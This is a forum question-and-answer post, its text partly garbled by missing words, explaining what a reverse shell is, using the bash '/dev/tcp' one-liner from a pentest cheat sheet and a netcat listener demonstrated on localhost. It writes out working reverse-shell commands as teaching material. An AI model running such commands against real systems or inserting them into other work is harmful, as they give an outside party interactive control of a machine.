What is reverse shell? -
could explain me reverse shell , in cases supposed use it? found http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet regarding same, meaning of:
bash -i >& /dev/tcp/10.0.0.1/8080 0>&1
it's a(n insecure) remote shell introduced target. that's opposite of "normal" remote shell, in introduced source.
let's try localhost
instead of 10.0.0.1
:
open 2 tabs in terminal.
open tcp port 8080 , wait connection:
nc localhost -lp 8080
open interactive shell, , redirect iostreams tcp socket:
bash -i >& /dev/tcp/localhost/8080 0>&1
where
bash -i
"if -i option present, shell interactive.">&
"this special syntax redirects both, stdout , stderr specified target."- (argument
>&
)/dev/tcp/localhost/8080
tcp client connectionlocalhost:8080
. 0>&1
redirect file descriptor 0 (stdin) fd 1 (stdout), hence opened tcp socket used read input.
- rejoice have prompt in tab 1.
- now imagine not using
localhost
, remote ip.
Comments
Post a Comment